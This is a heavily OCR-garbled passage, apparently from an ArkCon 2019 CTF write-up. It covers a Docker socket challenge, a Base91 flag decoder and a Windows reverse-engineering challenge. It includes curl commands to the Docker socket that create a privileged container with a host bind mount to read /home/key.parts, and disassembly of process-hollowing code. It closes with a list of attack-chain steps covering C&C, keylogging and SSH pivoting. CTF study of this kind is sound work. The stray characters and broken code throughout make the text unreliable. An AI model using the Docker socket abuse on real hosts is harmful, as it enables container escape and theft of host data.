” s “L-ls
X ., w1l S "
dcB8ald14241b11f2d0 f appllcati
tachStdin e, ttachSt rue dChStdﬁrI true, "C
"cat", "/home/key.par . et rl-p,ctrl-gq", "Privileged": tru
true, "User" bh"]} awk - { printf $4 ") tar Content-Ty
pe:application/jso -d '{"Detach": false, "Tty": false}' -—-output
1ip: 1< @mYMh3fGs>~D/tp"X, gb%C+(z
T e T S P, 1o, s s 444 0s T
S L« P O - T I’"x”_|vv Pl s L L~ s 4 s Flox oGS s,,“vx
? 1 S . x " I s ]
« I x x| base64 L . _ "
t /var/run/docker.sock http/vl.24
et /var/run k httpfv1.24fcont—in&rs/l- 9 >
dcB8al0d14241b11£2d0 & -H "Content-Type i
tachsStdin™: ' true, "AttachStderr true, "C
" /home, "Detauh : "ctrl-p,ctrl-g", "Privileged™:
true, "Tty" e, obb | awk -F '{ printf 54 }')/start -H '
-Type:appli 1o ] -d '{"Detach": false, "Tty": false}' —--output -
.aVAGITxeQGlZTWgzZ2kdzPnSEL3RWIlgsZ2TI10ys0
LIX® s U4 T 1Basesdsx (ToUst” A (4w XSTh X 0T ) L x o w X
1, S x 1 x ” X ] S SRR TN xn [N " . XS , ¥ . S
Dockers « _ _ . s14 L _ +x coptainées , x & X ] 8 X2 Ja.H7
Pox 1> v 4% «cont@nerd! ¥« 44 ¢ e x 14 X
image* x 1 s L dontaineér- X «41 414 L "AR201 INILQNBRK({SE& s
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https://searchitoperations.techtarget.com/definition/Docker-image

ockerid?l 453de’7 b?a”Ede 4Jb-b31H1buﬁ?ﬂlrbcﬂzrj??dJlrldd

B74daB330™], y :[“mydnck911d dream?2:latest™], "SharedSize":-1,"S1ze":10219
: 19459},{ I"t:rn1:‘_-111'1~ g":-1,"Created™:1552297 ' :"sha2hb

7] lﬂradr413ASGﬁ3 .duaq i, null, "Pa

babDSchffla4932?"],:RepoTat
:-1,"S1ze™:5533995, "VirtualsSi

_mydockerid7/dream1.1_light 1 ” mydsackerid7/dream2 = x _ —~images 1 " _ x 7

PIx 4 s 4 40 -contafngr w1 X T (p AT XIS X
, L lso Tk X s X Jhomes ¢ d {modint L, XL ,,1|y1~ S 4L xy
: cfeate container @ ! X x

confainerID L * « 7 x s x
/home § < ix-socket / - ocker.sock -H "Content-Type: application/jso
' - "Cmd": ["sh"], "Mount [{"Target
:"bind"™, "ReadoOnly false}]}' —X POST http:/vl

97c02ab0dBe0e0di0fecbeldec

S . Xs s q{y s é:ontainerﬁ«’iA,S'XS 1. s

reﬂdﬁuuwnbbldn*“ efad _ Gntent—Ty
: "Attdchstduut —rue tachStder
"ctrl-p,ctrl-gq", "Priv1leged": t

ab0d860=0d808eeb6ld

dump 1.7 1 X _containersx *: « X1 .~ sContainérStart .- ! *x « RS 1.~ s

o ~ 7y —_— = a > °

curl —-unix-soc
al965697c02akb0d

home/00407550000000000000000

000hom
0000000

1 s . 140 s L/hbme/kéy.parts R I R S R !
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https://docs.docker.com/engine/api/v1.24/#list-images
https://docs.docker.com/engine/api/v1.24/#create-a-container
https://docs.docker.com/engine/api/v1.37/#operation/ContainerStart
https://docs.docker.com/engine/api/v1.24/#get-an-archive-of-a-filesystem-resource-in-a-container

HHEHFHHFHHHFHEHFHFHRFHEHFFTHRFEFEHFHERHEHEFFEHSE R

Technologic

x "« I x 1 {4 < s ‘|:> paseglx H ¥ v Sw >$‘vt<l LR 15 LU S
LT oy lbs o 1" 0 -containBrs L X Ty T4 B L F9T %
1:, s N x base91 1 ¥ Msx _x  +1

Base91 encode/decode for Python 2 and Python 3

Copyright (c) 2012 Adrien Beraud
Copyright (c) 2015 Guillaume Jacquenot
All rights reserved.

Redi stribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice,
this list of conditions and th e following disclaimer.
Redistributions in  binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
Neith er the name of Adrien Beraud, Wisdom Vibes Pte. Ltd., nor the names
of its contributors may be used to endorse or promote products derived
from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRI GHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBTORS BE LIABLE

FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSEDAND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,

OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN |IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import  struct

def decode(encode d_str, key):

" Decode Base91 string to a bytearray
decode_table = dict((v, k) for k,v in enumerate(key))
v = -1

b =0

n (0]
out = bytearray()
for strletter in encoded_str:
if not strletter in decode_table:
continue
¢ = decode_table[strletter]
if (v < 0):
V =C
else:
v += ¢ * 91
b|= v <<n
n += 13 if (v&8191) > 88 else 14
while  True:
out += struct.pack( '‘B', b & 255)
b >>= 8
n-=28
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https://github.com/aberaud/base91-python/blob/master/base91.py
https://github.com/aberaud/base91-python/blob/master/base91.py

if not n > 7:
break
v = -1
if v + 1:
out += struct.pack('B', (b | v << n)&255)
return out

main():
flag 'Ppn.4W{cP =aah( H[k_ g2zbVfa90M"D7.2mh2C || otC ;u!$'

keyl '6$xH * AOd1leBu&LKSQ T#Q=4]Eqk{7['
key2 'iP:I<r@mYMh3fGs>~D/tp"X,gh%C+(z'
key3 'wc_y5;9N}oFar.UW)VI8J]2vnZ ?R’

key = keyl + key2 + key3
print  decode(flag, key)

if __pame__ =="' main_'

ArkCon{yOu_muU57_n07_B3 4Fr41d 70 dR34m !}

ArkCon 2019 (OnSite) ¥ & |
www.DigitalWhisper.co.il
81 20194 " X0A T x 4 L ¥




Technologic

I 400,000 Billiejean #3~ ¥ - -

.
x

Challenge

Billiejean
400000

People always told me be careful of what you do...

* billiejean.exe

Flag Submit

mov eax, [ebp+argv]

mov ecx, [eax+4]

mov input, ecx

lea edx, [ecx+1]

nop dword ptr [eax+20000000h]

loc_4014F0:

mov al, [ecx]

inc ecx

test al, al

jnz short loc_4014F@

sub ecx, edx
cmp ecx, 26h ; "'
jnz loc_401654

] 1
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e 41X38 -

-S resources Do

X 45y i

17 %

{1 . - 1L « S
PO, ooty X
(RWYOX40L = % » | 456 *

[l e =

loc_481512: 3 1pType
push a4h

lea eax, [ebx+7Bh]

MOVIX ~ eax, ax

push eax 3 lpName
push ] 3 hModule
call ds:FindResourcek

mov esi, eax

push esi ; hResInfo
push ] 3 hModule
call ds:LoadResource

push esi ; hResInfo
push ] 3 hModule
mov edi, eax

call ds:sizecfResource

push edi ; hResData
mov esi, eax

call ds:LockResource

mov edi, eax

mow [ebp+floldProtect], @

lea eax, [ebp+floldProtect]
push eax 3 1lpfloldProtect
push ash ; '@ 3 FlNewProtect
push esi 3 dwsize
push edi 3 lpaddress
call ds:GetCurrentProcess

push eax 3 hProcess
call ds:virtualProtectEx

~

. X G

1 w X v S Lo~

X J J 4’ (S F~ 'I”V~ S «

9

L XL s

A >

s L (i+OX78)+ _ . s s

XOr-$ BN P . X o4« _resaufce .~ 1 Ixar, X x . A B -
, 1o ws o Txor v Xs XX I s p dresodrcgs Toxx X . s 1 s
Svus L lx 1 L resources X .. XX 4
Mo eax, input
Mo dl, [eaxtebx]
mavsx  eax, dl
mowv [ebp+var_15], dl
:XMM X< 232 YL r+ fesolirces X xor X, e s
MZE
loc_481593:
movups xmm@, xmmword ptr [edit+eax]
mavaps wmml, xmm2
pxor xmml, xmm@
movups xmmword ptr [editeax], xmml
movups xmm@, xmmeord ptr [editeax+leh]
pxor Xmmé, xmm2
movups xmmword ptr [editeax+1@h], xmm@
add eax, 28h ; '
cmp eax, edx
jb short loc_4@81593
T
=
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1 X 1xof + 4 4% 32, 4% 0%, X o 7 b
—v
] e =
loc_am1s5Ce:
®or [eaxt+edi], dl
lea ecx, [eaxt+edi]
inc eax
cmp eax, esi
jb short loc_4815C8
I—
Xors X oA X v A e s e e R S B S B
1 XX x0T RWXLT X" "spesouncesdx ™ X .« x ?o1T L BT X
L, LLx T T MZ o rdxx s 4T A AL AT T X T X LB e
R NN RN F1 0 S X LYAPE Al w XX T <7 x 7, s .6(s
M x D sreseurce L 1 X T X _axers o ox s ol H 8T «oasf o { XX

xrange(4):
open(str(0x7b
char = f.read(1)
print  chr(ord(char) ” ord('M")),

+i), 'rb’) as f:

Sed.w ST 4 s ka4l LX A AT X nOlb s 4 AEE IS ol xx
st .14 . resources x 7 & x . 1 4 » . | ssub. 402000 S.1_ e~ " X oL
JiX
Y Y V¥
Ll e =
loc_4®15CB:
push ebx
mow edx, edi
call sub_4elee8
inc ebx
add esp, 4
cmp ebx, 4
i1 loc_4@1512
I 1
s { .« "X S ] x x " "] s 1L « L
L]
o )
3w n.,-;,.,uiu;,[?,{q e Jome]
1= 1 izl ! Fi= ' 1) '
%yﬁ&mﬁhJMfﬂwmmﬁu fﬂﬁﬁﬁﬁijmemmuf.l gﬂ?ﬁgmwfwmmmﬂm“ b —"—
0= ] :
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.resources L 1offset] x X 0x3coffset DWOREB -« - Ce X s T X s
NT-s - «>*s s* > soffsetx A " 1XX _ MZheaders x x> .offsets s ¢ s
‘Header
T— 7§, UPX Urility
00000034 Word 0000
e_lfanew 0000003C Dword 00000DOFE
Fo X4 Lee X7 ooysxor ok XX JG¥s ox o0 ] 1. offsets 4, x  « {s
Pl v Xs I ¥ %s s T4 X¥Xs | v {s s.Xs s Si-s T Fd st
X 4s e v 414 1L w3
:Offset 0x178 x TLXow OX80% ., s oy, B=04. XX v 1S
b 3 ggi::;dlj;a o Import Directory RVA 00000178 Dword 00011084 rdata
Offset Ox10& x "oloxow o OXH4X A, ss e, B Ad. XXX L s
[ @Import D“-ectow IIUIIIUCIUIJ}‘IIIUUI} |\.’\.’VWIW I TVWWOTU |VVUUUUVV
— |2 Resource Directory SizeOfOptionalHea... |DDDDD1OC |Word O0ED
— 125 Relocation Directory s [ [ - coy
Offset OxFE  *x "« x «  Ox@6* 4 ~  ss _+ « B=24, xx* <« {s
[ BDDS Header TVTALTITTE ||.MMNI'L_ |w0ru |UI4L.. TILEl 300
(& Mt Head MumberOfSecti ODODDOFE Word 0006
m:a”ersd umberOfsections I| I| or !
L. TxX_ <. OfSBLOXFS v x T i s L0 s s 4893 %X &
11 s 1. ot g™ (s opx {1 s *4 41 NT'Headés™ s " *1 _ .~ x s
i 1> . s X SP L X o Xy 4 1 x s Foxor AN Px T sy x o, osx T R
o Fd o Hd e X s
Y I T
- L[:jL
: Member COrffset Size Value
5";0:2'_'?;:; Signature 0DODODFS Dword 00004550
(=]
N B x {s L ,x <« s resourel € X o ] XX T ool
ox 4o x o D x 1 b { . fesolircess X Ll x ¥y 4 ] TxXFYs g X x|
18 €
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) B8

SRSSNSE33NSS2253888238322822805233 523388

9 2E

* Binary differences
e

@ Sessions v x » = |Q

Session File Search View Tools

i in xrange(4):
open(str(0x7b
f.read(1)
key += chr(ord(char) ~ ord('M"))

with

char

data = [0] *4
# decrypt files
for i in xrange(4)
open(str(0
chars
datali]

with

tmp_key
tmp_key

7b
= fl.read()
Jjoin([chr(ord(key[i]) * ord(c))

struct.unpack(*

+i), 'r

+i), 'rb’) as f1:

<I', data[3][0x3c:0x40])[0]

chr(ord(data[3][nt_start]) ~ ord('P"))
data[3][:nt_start]

chr(ord(data[3][nt_start

+ 'P*  + data[3][nt_sta

+1:]

+ 0x06]) * ord(data[2][nt_start

SN L ST I A X+ Fds S p A4S S v .
A~ > v ~ ~ ~
@ 125x_dec <--> 126x_dec - Hex Compare - Beyond Compare - o X
Help
(R X 1% KJ
=1 |C\Users\yaakovco\Desktop\CTF\ArkCon\RE\billiejean.rsrc\RCDATA\125.x_dec 5 v |C:\Users\yaakovco\ Desktop\CTF\ArkCon\RE\billiejean\.rsr\RCDATA\126.x_dec =24
5/12/2019 11:2429PM 72,704 bytes 5/12/2019 112429 PM 72,704 bytes
5SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ......... %7 A 4D SA 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ......... V.. A
00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 : B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00
00 00 00 00 00 00 00 00 00 00 00 F8 00 00 00 .. 9... 00 00 00 00 00 00 00 00 00 00 00 00 F3 00 00 00 ..
1F BA OF 00 B4 09 (D 21 B8 01 4C (D 21 54 68  ..e..".fI .LfITh OF 1F BA OF 00 B4 09 CD 21 B8 01 4C (D 21 54 68 .. A1 .iiTh
73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is program canno 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F  is program canno
20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20t be run in DOS 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20t be run in DOS
6F 64 65 2E 6D @D OA 24 00 00 00 00 00 00 00  mode 6D 6F 64 65 2E 8D @D OA 24 00 00 00 00 00 00 00
43 2€ 9D FD 22 40 CE FD 22 40 CE FD 22 40 CE  *C.y"@ly"@ly"et B9 43 2E 9D FD 22 40 CE FD 22 40 CE FD 22 40 CE
BE B1 CE F4 22 40 CE 49 BE B3 CE 85 22 40 CE  Ixlo"@irs’i."ef 49 BE B1 CE F4 22 40 CE 49 BE B3 CE 85 22 40 CE
BE B2 CE ES 22 40 CE C6 7C 43 CF EC 22 40 CE  I%?1&"@l4|cii"el 49 BE B2 CE E5 22 40 CE (6 7C 43 CF EC 22 40 CE
7C 45 CF E@ 22 40 CE C6 7C 44 CF EC 22 40 CE  £|Efa"@l|0fi C6 7C 45 CF E0 22 40 CE (6 7C 44 CF EC 22 40 CE
DD 88 CE F8 22 40 CE FD 22 41 CE AA 22 40 CE Velg"@ly“ale 20 DD 8B CE F8 22 40 CE FD 22 41 CE AA 22 40 CE
7C 49 CF FF 22 4@ CE 6F 7C BF CE FC 22 40 CE jl1iy @lol¢ 6A 7C 49 CF FF 22 40 CE 6F 7C BF CE FC 22 40 CE
7C 42 CF FC 22 40 CE 52 69 63 68 FD 22 40 CE  j|BIG"@IRichy"@l 6A 7C 42 CF FC 22 40 CE 52 69 63 68 FD 22 40 CE  j|Bli"@IRichy"g
00 00 00 00 00 00 00 50 45 00 00 4C 01 37 00 ... BE..L.2. 00 00 00 00 00 00 00 00 3E 45 00 00 4C 01 06 00 .. JELE
FE BE 5C 00 00 00 00 00 00 00 00 EO 00 02 01 A8 FE BE 5C 00 00 00 00 00 00 00 00 EO 00 02 01
01 OF 00 00 A6 00 00 00 7C 00 00 00 00 00 00 OB 01 OF 00 00 A6 00 00 00 7C 00 00 00 00 00 00
14 00 00 00 10 00 00 00 (O 00 00 00 00 40 00 69 14 60 00 00 10 00 00 00 (O 00 00 00 00 40 00
10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 00 10 00 00 00 62 00 00 06 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 70 01 00 00 04 00 00 06 00 00 00 00 00 00 00 00 70 01 00 00 04 00 00
00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 00 00 62 00 40 81 00 00 10 00 00 10 00 00
00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00
00 00 00 00 00 00 00 84 10 01 00 3C 00 00 00 00 00 00 00 00 00 00 00 84 10 01 00 3C 00 00 00
50 01 00 E@ 01 00 00 00 00 00 00 00 00 00 00 00 50 01 00 EO 01 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 60 01 00 BS 0D 00 00 00 00 00 00 00 00 00 00 00 60 01 00 B3 0D 00 00
09 01 00 38 00 00 00 00 00 00 00 00 00 00 00 AQ 09 01 00 38 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
09 01 00 40 00 00 00 00 00 00 00 00 00 00 00 D8 09 01 00 40 00 00 00 00 00 00 00 00 00 00 00
€0 00 00 10 01 00 00 00 00 00 00 00 00 00 00 00 (0 00 00 10 01 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
74 65 78 74 00 00 00 A7 AS 00 00 00 10 00 00 2E 74 65 78 74 00 00 00 A7 AS 00 00 00 10 00 00
AG 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 AG 00 00 00 04 00 00 00 00 00 00 00 00 00 00
00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00
56 00 00 00 CO 00 00 00 58 00 00 00 AA 00 00 A6 56 00 00 00 (O 00 00 00 58 00 00 00 AA 00 00
00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40
64 61 74 61 00 00 00 A8 11 00 00 00 20 01 00 2E 64 61 74 61 00 00 00 A3 11 00 00 00 20 01 00
08 00 00 00 02 01 00 00 00 00 00 00 00 00 00 00 08 00 00 00 02 01 00 00 00 00 00 00 00 00 00
©0 00 00 40 00 00 (O 2E 67 66 69 64 73 00 00 00 00 00 00 40 00 00 (O 2E 67 66 69 64 73 00 00
00 00 00 00 40 01 00 00 02 00 00 00 OA 01 00 AC 00 00 00 00 40 01 00 00 02 00 00 00 OA 01 00
00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40
72 73 72 63 00 00 00 E0 01 00 00 00 50 01 00 ¥ 2E 72 73 72 63 00 00 00 EQ 01 00 00 00 50 01 00 Y.
Load time: 0.19 seconds
- ”
+ headerss x 1> Lxxo s X , » _ X1 1l headérss . , " ilx X« %
) - ” "
s Resoudce 126 , 1(, résburceés -« X7 4 4. ] N T I
. X 7 F ‘I J rr S o
v o~ A ~
. XS I x & S Ve X moxoT ]

8 6
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data[2]
data[2][nt_start

= data[2][:nt_start

tmp_key =
tmp_ key

data[1] = data[1][:nt_start
data[1][nt_start

tmp_key =
tmp_key
data[0]

data [O][nt_start

= data[O][:nt_start

print  tmp_key

chr(ord(data[3][nt_start

chr(ord(data[3][nt_start

Technologic

+ Ox06] + data[3][nt_start + 0x06] +

+ 0x06 + 1]

+ 0x14]) ~ ord(data[1][nt_start + 0x14]))

+ Ox14] + data[3][nt_start + 0x14] +

+ 0x14 + 1]

+ 0x80]) " ord(data[0][nt_start + 0x80]))

+ 0x80] + data[3][nt_start + 0x80] +

+ 0x80 + 1]

mow
mow
mow
push
mow
lea
lea
add
push
push
call
push
push
lea
push
push
call
add
lea
push
push
lea
push
maw
push
push
call

ecx, input

esi, eax

eax, [ebptvar 48]

B 3y Count
byte ptr [esit+s], @
edx, [eaxteax™2]

ecx, [ecxtedx™2]

ecx, B

eCx 3 Source
esi ; Dest
ds:strncpy

esi

offset aCharmapHs ;
eax, [ebptBuffer]

"charmap ¥hs"

8Fh

eax
sub_4016C@
esp, 28h

eax, [ebp+NumberOfByteshritten)

eax ; lpNumberOfByteskritten
1Eh 3 nsize

eax, [ebp+Buffer]

eax ; lpBuffer

eax, [ebp+hProcess

dword ptr [eax+44h] ; lpBasefddress
dword ptr [ebx] ; hProcess
ds:WriteProcessMemory

+

+

1L S L. v 47X _«.s  p{xxOwBn < s %l
.h0llow1n
X .1 - threadl ~~vesturce uw 1 : 11 - %x . o Ll x
1L s

87
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Technologic

i ed

push
call
mov

64h ; 'd’
ds:Sleep
ebx, ds:Globalbeleteftom
edi, 1

; dwiilliseconds

[ebp+lpstring], offset avl ; "v_I"

eszi, esi
[ebp+var_1@], offset avIi ;
[ebp+var_C], offset avIii
[ebptvar_8], offset aVIv ;

M

loc_481611: 3 lpString
push [ebp+esi*a+lpsString]

call ds:GlobalFindatoma
MOVIX ~ eax, ax

test ax, ax

jz short loc_ 401628

M

eax

ebx ;
short loc_48162A xor edi, edi

5 nAtom

GlobalDeleteAtom loc_4081628:

loc_4a@162A:

inc esi

cmp esi, 4

jb short loc_481611

1 x 47

s X

X

offset aYouhreTheOneGo ;

sub_281638
esp, 4
eax, eax

"You are the one!\nGood job."

loc_4@1654:
push offset aNope
call sub_481688

3 "Mope...\n"

, 1L s

X . X

jn

2l

mov edx, [ebp+i]

mow eax, [ebp+input]

movzx  ecx, word ptr [eaxt+edx*2]
push ecx

mow edx, [ebp+i]

push edx

call check_char

add esp, 8

test eax, eax

z short loc_481281

S

IDLEX + Btm-s s:v.dx 4%
s {1 .« theck chat ~ + 7 s . {

“

sub_481000¢ H s " x

14X+ L 'DLLSE

X X . S

88
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https://docs.microsoft.com/en-us/windows/desktop/dataxchg/about-atom-tables

Technologic

DLEs N EEETE | S A B DLES] 4 <X« wiX] X, xs7s76¢" s
= x .« . S
« XS I x (s
il s
loc_4m1@27: 3 Jjumptable 82481828 case @
mow edx, [ebptarg_4]
add edx, 44
jz short loc_481838
Fdd 0 44 7
( ~ 1 - ] s , X s s = ¢ x . ¥ X +« S ] X L ] . S e S
Y
M=
I
loc_4mleda: 3 Jjumptable BB4R1828 case 1
Moy ecx, [ebptarg_4]
»or ecx, lidh
»or ecx, 4éh
»or ecx, 3lh
cmp ecx, 3Ah ;3 "
jnz short loc_481864
Fld s 14~ 1
loc_4m1e76: 3 Jjumptable BB481B28 case 2
mow eax, [ebptarg_4]
add eax, 23h ; '#'
cmp eax, 9Ch ; ‘&
jnz short loc_48183C
Fdd s 14~ - 1
M
loc_4R1@9B: 3 jumptable 88481828 case 3
mow edx, [ebptarg_ 4]
xor edx, Sdh
imul eax, edx, 31h ; "1°
cmp eax, 1324h
jnz short loc_ 481884
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F1d s N 1
(input[3]*0x54) *0x31 == 0x1324

loc_48168C3: 3 Jjumptable @@481828 case 4
mov edx, [ebptarg_4]

add edx, 85h ; "..°

cmp edx, @FAh ; 'O

jnz short loc_481600

FIEE

loc_4@l@EC: ; jumptable BB481828 case 5
mow ecx, [ebptarg 4]

Xor ecx, ldh

Xor ecx, 4@h

imul edw, ecx, 31h ; '1°

cmp edx, B8B1Ah

jnz short loc 481189

F1d s 14 1

(input[5]*0x14°0x40) *0x31 == OxB1A
TN B S 100 LB BXoxs xS s] L T xs o 41
6 T I DLk ¥ § XX LS 4.x-.
M
loc_4B11F3:
Mo eax, [ebp+lpString]
push eax 3 lpString
call ds:lstrlenu
cmp eax, b6
jz short loc_4@8128C
_ L J
ol s =]
mov win_flag, @
]
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o Malware connects to distant C&C server
e Network scan, hops to another host

e Detects an open SSH tunnel to OT

e Keyboard stroke recording (passwords, etc.)
for future use

o While user away, opens SSH tunnel, connects
to other systems, and installs further malware
on vulnerable hosts

e Cleanup and installation on a low-profile
persistent threat, ready for activation
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